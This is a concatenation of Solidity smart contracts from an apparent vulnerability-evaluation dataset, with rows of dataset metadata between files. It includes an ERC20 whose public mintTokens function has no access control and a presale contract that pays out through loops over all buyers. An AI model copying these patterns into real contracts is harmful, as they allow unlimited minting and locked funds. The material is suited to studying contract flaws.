uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
uint256 internal constant NOT_TWO_TOKENS = 210;
uint256 internal constant DISABLED = 211;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317;
uint256 internal constant AMP_ONGOING_UPDATE = 318;
uint256 internal constant AMP_RATE_TOO_HIGH = 319;
uint256 internal constant AMP_NO_ONGOING_UPDATE = 320;
uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321;
uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322;
uint256 internal constant RELAYER_NOT_CONTRACT = 323;
uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324;
uint256 internal constant REBALANCING_RELAYER_REENTERED = 325;
uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326;
uint256 internal constant SWAPS_DISABLED = 327;
uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328;
uint256 internal constant PRICE_RATE_OVERFLOW = 329;
uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330;
uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331;
uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332;
uint256 internal constant UPPER_TARGET_TOO_HIGH = 333;
uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334;
uint256 internal constant OUT_OF_TARGET_RANGE = 335;
uint256 internal constant UNHANDLED_EXIT_KIND = 336;
uint256 internal constant UNAUTHORIZED_EXIT = 337;
uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338;
uint256 internal constant UNHANDLED_BY_MANAGED_POOL = 339;
uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340;
uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341;
uint256 internal constant INVALID_INITIALIZATION = 342;
uint256 internal constant OUT_OF_NEW_TARGET_RANGE = 343;
uint256 internal constant FEATURE_DISABLED = 344;
uint256 internal constant UNINITIALIZED_POOL_CONTROLLER = 345;
uint256 internal constant SET_SWAP_FEE_DURING_FEE_CHANGE = 346;
uint256 internal constant SET_SWAP_FEE_PENDING_FEE_CHANGE = 347;
uint256 internal constant CHANGE_TOKENS_DURING_WEIGHT_CHANGE = 348;
uint256 internal constant CHANGE_TOKENS_PENDING_WEIGHT_CHANGE = 349;
uint256 internal constant MAX_WEIGHT = 350;
uint256 internal constant UNAUTHORIZED_JOIN = 351;
uint256 internal constant MAX_MANAGEMENT_AUM_FEE_PERCENTAGE = 352;
uint256 internal constant FRACTIONAL_TARGET = 353;
uint256 internal constant ADD_OR_REMOVE_BPT = 354;
uint256 internal constant INVALID_CIRCUIT_BREAKER_BOUNDS = 355;
uint256 internal constant CIRCUIT_BREAKER_TRIPPED = 356;
uint256 internal constant MALICIOUS_QUERY_REVERT = 357;
uint256 internal constant JOINS_EXITS_DISABLED = 358;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
uint256 internal constant CALLER_IS_NOT_OWNER = 426;
uint256 internal constant NEW_OWNER_IS_ZERO = 427;
uint256 internal constant CODE_DEPLOYMENT_FAILED = 428;
uint256 internal constant CALL_TO_NON_CONTRACT = 429;
uint256 internal constant LOW_LEVEL_CALL_FAILED = 430;
uint256 internal constant NOT_PAUSED = 431;
uint256 internal constant ADDRESS_ALREADY_ALLOWLISTED = 432;
uint256 internal constant ADDRESS_NOT_ALLOWLISTED = 433;
uint256 internal constant ERC20_BURN_EXCEEDS_BALANCE = 434;
uint256 internal constant INVALID_OPERATION = 435;
uint256 internal constant CODEC_OVERFLOW = 436;
uint256 internal constant IN_RECOVERY_MODE = 437;
uint256 internal constant NOT_IN_RECOVERY_MODE = 438;
uint256 internal constant INDUCED_FAILURE = 439;
uint256 internal constant EXPIRED_SIGNATURE = 440;
uint256 internal constant MALFORMED_SIGNATURE = 441;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_UINT64 = 442;
uint256 internal constant UNHANDLED_FEE_TYPE = 443;
uint256 internal constant BURN_FROM_ZERO = 444;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
uint256 internal constant AUM_FEE_PERCENTAGE_TOO_HIGH = 603;
// FeeSplitter
uint256 internal constant SPLITTER_FEE_PERCENTAGE_TOO_HIGH = 700;
// Misc
uint256 internal constant UNIMPLEMENTED = 998;
uint256 internal constant SHOULD_NOT_HAPPEN = 999;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, Errors.SUB_OVERFLOW);
}
function sub(uint256 a,
uint256 b,
uint256 errorCode) internal pure returns (uint256) {
_require(b <= a, errorCode);
uint256 c = a - b;
return c;
}
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
_mint(msg.sender, 1000000 * 1e18);
}
function mintTokens(uint256 _amount, address _to) external {
_mint(_to, _amount);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function _setTotalSupply(uint256 value) internal virtual {
_totalSupply = value;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
_beforeTokenTransfer(address(0), account, amount);
_setTotalSupply(totalSupply().add(amount));
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_BALANCE);
_setTotalSupply(totalSupply().sub(amount));
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from,
address to,
uint256 amount) internal virtual {
// solhint-disable-previous-line no-empty-blocks
}
}
| 50,621 | 11,205 |
846210820f5e9bebc4c3088e0361c4a2dd012aa5ae3989715eb80ecf17e4b05c
| 8,429 |
.sol
|
Solidity
| false |
367082977
|
synapsecns/synapse-contracts
|
b576a6b89a4d2382c82eead74083a41c9db7a538
|
contracts/messaging/dfk/libs/LibGeneScience.sol
| 2,057 | 7,679 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title GeneScience implements the trait calculation for new genes
library LibGeneScience {
/// @param trait1 any trait of that characteristic
/// @param trait2 any trait of that characteristic
/// @param rand is expected to be a 3 bits number (0~7)
function _ascend(uint8 trait1,
uint8 trait2,
uint256 rand) internal pure returns (uint8 ascension) {
ascension = 0;
uint8 smallT = trait1;
uint8 bigT = trait2;
if (smallT > bigT) {
bigT = trait1;
smallT = trait2;
}
if ((bigT - smallT == 1) && smallT % 2 == 0) {
// The rand argument is expected to be a random number 0-7.
// 1st and 2nd tier: 1/4 chance (rand is 0 or 1)
// 3rd and 4th tier: 1/8 chance (rand is 0)
// must be at least this much to ascend
uint256 maxRand;
if (smallT < 23) maxRand = 1;
else maxRand = 0;
if (rand <= maxRand) {
ascension = (smallT / 2) + 16;
}
}
}
/// @dev given a number get a slice of any bits, at certain offset
/// @param _n a number to be sliced
/// @param _nbits how many bits long is the new number
/// @param _offset how many bits to skip
function _sliceNumber(uint256 _n,
uint256 _nbits,
uint256 _offset) private pure returns (uint256) {
// mask is made by shifting left an offset number of times
uint256 mask = uint256((2**_nbits) - 1) << _offset;
// AND n with mask, and trim to max of _nbits bits
return uint256((_n & mask) >> _offset);
}
/// @dev Get a 5 bit slice from an input as a number
/// @param _input bits, encoded as uint
/// @param _slot from 0 to 50
function _get5Bits(uint256 _input, uint256 _slot) internal pure returns (uint8) {
return uint8(_sliceNumber(_input, uint256(5), _slot * 5));
}
/// @dev Parse a gene and returns all of 12 "trait stack" that makes the characteristics
/// @param _genes gene
function decode(uint256 _genes) internal pure returns (uint8[] memory) {
uint8[] memory traits = new uint8[](48);
uint256 i;
for (i = 0; i < 48; i++) {
traits[i] = _get5Bits(_genes, i);
}
return traits;
}
/// @dev Given an array of traits return the number that represent genes
function encode(uint8[] memory _traits) internal pure returns (uint256 _genes) {
_genes = 0;
for (uint256 i = 0; i < 48; i++) {
_genes = _genes << 5;
// bitwise OR trait with _genes
_genes = _genes | _traits[47 - i];
}
return _genes;
}
/// @dev return the expressing traits
/// @param _genes the long number expressing cat genes
function expressingTraits(uint256 _genes) internal pure returns (uint8[12] memory) {
uint8[12] memory express;
for (uint256 i = 0; i < 12; i++) {
express[i] = _get5Bits(_genes, i * 4);
}
return express;
}
/// @dev the function as defined in the breeding contract.
function mixGenes(uint256 _genes1,
uint256 _genes2,
uint256 _randomN) internal pure returns (uint256) {
// generate 256 bits of random, using as much entropy as we can from
// sources that can't change between calls.
_randomN = uint256(keccak256(abi.encodePacked(_randomN, _genes1, _genes2)));
uint256 randomIndex = 0;
uint8[] memory genes1Array = decode(_genes1);
uint8[] memory genes2Array = decode(_genes2);
// All traits that will belong to baby
uint8[] memory babyArray = new uint8[](48);
// A pointer to the trait we are dealing with currently
uint256 traitPos;
// Trait swap value holder
uint8 swap;
// iterate all 12 characteristics
for (uint256 i = 0; i < 12; i++) {
// pick 4 traits for characteristic i
uint256 j;
for (j = 3; j >= 1; j--) {
traitPos = (i * 4) + j;
uint256 rand = _sliceNumber(_randomN, 2, randomIndex); // 0~3
randomIndex += 2;
// 1/4 of a chance of gene swapping forward towards expressing.
if (rand == 0) {
// do it for parent 1
swap = genes1Array[traitPos];
genes1Array[traitPos] = genes1Array[traitPos - 1];
genes1Array[traitPos - 1] = swap;
}
rand = _sliceNumber(_randomN, 2, randomIndex); // 0~3
randomIndex += 2;
if (rand == 0) {
// do it for parent 2
swap = genes2Array[traitPos];
genes2Array[traitPos] = genes2Array[traitPos - 1];
genes2Array[traitPos - 1] = swap;
}
}
}
// DEBUG ONLY - We should have used 72 2-bit slices above for the swapping
// which will have consumed 144 bits.
// assert(randomIndex == 144);
// We have 256 - 144 = 112 bits of _randomNess left at this point. We will use up to
// four bits for the first slot of each trait (three for the possible ascension, one
// to pick between mom and dad if the ascension fails, for a total of 48 bits. The other
// traits use one bit to pick between parents (36 gene pairs, 36 genes), leaving us
// well within our entropy budget.
// done shuffling parent genes, now let's decide on choosing trait and if ascending.
// NOTE: Ascensions ONLY happen in the "top slot" of each characteristic. This saves
// gas and also ensures ascensions only happen when they're visible.
for (traitPos = 0; traitPos < 48; traitPos++) {
// See if this trait pair should ascend
uint8 ascendedTrait = 0;
// There are two checks here. The first is straightforward, only the trait
// in the first slot can ascend. The first slot is zero mod 4.
//
// The second check is more subtle: Only values that are one apart can ascend,
// which is what we check inside the _ascend method. However, this simple mask
// and compare is very cheap (9 gas) and will filter out about half of the
// non-ascending pairs without a function call.
//
// The comparison itself just checks that one value is even, and the other
// is odd.
if ((traitPos % 4 == 0) && (genes1Array[traitPos] & 1) != (genes2Array[traitPos] & 1)) {
uint256 rand = _sliceNumber(_randomN, 3, randomIndex);
randomIndex += 3;
ascendedTrait = _ascend(genes1Array[traitPos], genes2Array[traitPos], rand);
}
if (ascendedTrait > 0) {
babyArray[traitPos] = uint8(ascendedTrait);
} else {
// did not ascend, pick one of the parent's traits for the baby
// We use the top bit of rand for this (the bottom three bits were used
// to check for the ascension itself).
uint256 rand = _sliceNumber(_randomN, 1, randomIndex);
randomIndex += 1;
if (rand == 0) {
babyArray[traitPos] = uint8(genes1Array[traitPos]);
} else {
babyArray[traitPos] = uint8(genes2Array[traitPos]);
}
}
}
return encode(babyArray);
}
}
| 23,513 | 11,206 |
1c540447298f409e4e2c99cb2da84accea3ef42fa28df784fe57fdbaf1e1bc34
| 19,731 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.4/0x75dea24e6d215434a02d19cb277595859bc58715.sol
| 3,714 | 13,647 |
pragma solidity ^0.4.19;
contract OwnableToken {
mapping (address => bool) owners;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event OwnershipExtended(address indexed host, address indexed guest);
modifier onlyOwner() {
require(owners[msg.sender]);
_;
}
function OwnableToken() public {
owners[msg.sender] = true;
}
function addOwner(address guest) public onlyOwner {
require(guest != address(0));
owners[guest] = true;
emit OwnershipExtended(msg.sender, guest);
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owners[newOwner] = true;
delete owners[msg.sender];
emit OwnershipTransferred(msg.sender, newOwner);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/token/ABL.sol
contract ABL is StandardToken, OwnableToken {
using SafeMath for uint256;
// Token Distribution Rate
uint256 public constant SUM = 400000000; // totalSupply
uint256 public constant DISTRIBUTION = 221450000; // distribution
uint256 public constant DEVELOPERS = 178550000; // developer
// Token Information
string public constant name = "Airbloc";
string public constant symbol = "ABL";
uint256 public constant decimals = 18;
uint256 public totalSupply = SUM.mul(10 ** uint256(decimals));
// token is non-transferable until owner calls unlock()
// (to prevent OTC before the token to be listed on exchanges)
bool isTransferable = false;
function ABL(address _dtb,
address _dev) public {
require(_dtb != address(0));
require(_dev != address(0));
require(DISTRIBUTION + DEVELOPERS == SUM);
balances[_dtb] = DISTRIBUTION.mul(10 ** uint256(decimals));
emit Transfer(address(0), _dtb, balances[_dtb]);
balances[_dev] = DEVELOPERS.mul(10 ** uint256(decimals));
emit Transfer(address(0), _dev, balances[_dev]);
}
function unlock() external onlyOwner {
isTransferable = true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(isTransferable || owners[msg.sender]);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(isTransferable || owners[msg.sender]);
return super.transfer(_to, _value);
}
//////////////////////
// mint and burn //
//////////////////////
function mint(address _to,
uint256 _amount) onlyOwner public returns (bool) {
require(_to != address(0));
require(_amount >= 0);
uint256 amount = _amount.mul(10 ** uint256(decimals));
totalSupply = totalSupply.add(amount);
balances[_to] = balances[_to].add(amount);
emit Mint(_to, amount);
emit Transfer(address(0), _to, amount);
return true;
}
function burn(uint256 _amount) onlyOwner public {
require(_amount >= 0);
require(_amount <= balances[msg.sender]);
totalSupply = totalSupply.sub(_amount.mul(10 ** uint256(decimals)));
balances[msg.sender] = balances[msg.sender].sub(_amount.mul(10 ** uint256(decimals)));
emit Burn(msg.sender, _amount.mul(10 ** uint256(decimals)));
emit Transfer(msg.sender, address(0), _amount.mul(10 ** uint256(decimals)));
}
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender]);
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
WhitelistedAddressRemoved(addr);
success = true;
}
}
function removeAddressesFromWhitelist(address[] addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract PresaleFirst is Whitelist, Pausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint256 public constant maxcap = 1500 ether;
uint256 public constant exceed = 300 ether;
uint256 public constant minimum = 0.5 ether;
uint256 public constant rate = 11500;
uint256 public startNumber;
uint256 public endNumber;
uint256 public weiRaised;
address public wallet;
ERC20 public token;
function PresaleFirst (uint256 _startNumber,
uint256 _endNumber,
address _wallet,
address _token) public {
require(_wallet != address(0));
require(_token != address(0));
startNumber = _startNumber;
endNumber = _endNumber;
wallet = _wallet;
token = ERC20(_token);
weiRaised = 0;
}
//////////////////
// collect eth
//////////////////
mapping (address => uint256) public buyers;
address[] private keys;
function () external payable {
collect(msg.sender);
}
function collect(address _buyer) public payable onlyWhitelisted whenNotPaused {
require(_buyer != address(0));
require(weiRaised <= maxcap);
require(preValidation());
require(buyers[_buyer] < exceed);
// get exist amount
if(buyers[_buyer] == 0) {
keys.push(_buyer);
}
uint256 purchase = getPurchaseAmount(_buyer);
uint256 refund = (msg.value).sub(purchase);
// refund
_buyer.transfer(refund);
// buy
uint256 tokenAmount = purchase.mul(rate);
weiRaised = weiRaised.add(purchase);
// wallet
buyers[_buyer] = buyers[_buyer].add(purchase);
emit BuyTokens(_buyer, purchase, tokenAmount);
}
//////////////////
// validation functions for collect
//////////////////
function preValidation() private constant returns (bool) {
// check minimum
bool a = msg.value >= minimum;
// sale duration
bool b = block.number >= startNumber && block.number <= endNumber;
return a && b;
}
function getPurchaseAmount(address _buyer) private constant returns (uint256) {
return checkOverMaxcap(checkOverExceed(_buyer));
}
// 1. check over exceed
function checkOverExceed(address _buyer) private constant returns (uint256) {
if(msg.value >= exceed) {
return exceed;
} else if(msg.value.add(buyers[_buyer]) >= exceed) {
return exceed.sub(buyers[_buyer]);
} else {
return msg.value;
}
}
// 2. check sale hardcap
function checkOverMaxcap(uint256 amount) private constant returns (uint256) {
if((amount + weiRaised) >= maxcap) {
return (maxcap.sub(weiRaised));
} else {
return amount;
}
}
//////////////////
// release
//////////////////
bool finalized = false;
function release() external onlyOwner {
require(!finalized);
require(weiRaised >= maxcap || block.number >= endNumber);
wallet.transfer(address(this).balance);
for(uint256 i = 0; i < keys.length; i++) {
token.safeTransfer(keys[i], buyers[keys[i]].mul(rate));
emit Release(keys[i], buyers[keys[i]].mul(rate));
}
withdraw();
finalized = true;
}
function refund() external onlyOwner {
require(!finalized);
pause();
withdraw();
for(uint256 i = 0; i < keys.length; i++) {
keys[i].transfer(buyers[keys[i]]);
emit Refund(keys[i], buyers[keys[i]]);
}
finalized = true;
}
function withdraw() public onlyOwner {
token.safeTransfer(wallet, token.balanceOf(this));
emit Withdraw(wallet, token.balanceOf(this));
}
//////////////////
// events
//////////////////
event Release(address indexed _to, uint256 _amount);
event Withdraw(address indexed _from, uint256 _amount);
event Refund(address indexed _to, uint256 _amount);
event BuyTokens(address indexed buyer, uint256 price, uint256 tokens);
}
| 221,329 | 11,207 |
125fc1b2dd68416c2c7f96943077e4c605424ae06ff21cb745a9d42ca9e2198b
| 20,808 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TY/TY4AwJ5Ajni6hsNVMppCbzQcrvHdA9aS2r_SumitROI.sol
| 5,442 | 19,699 |
//SourceUnit: bnk.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
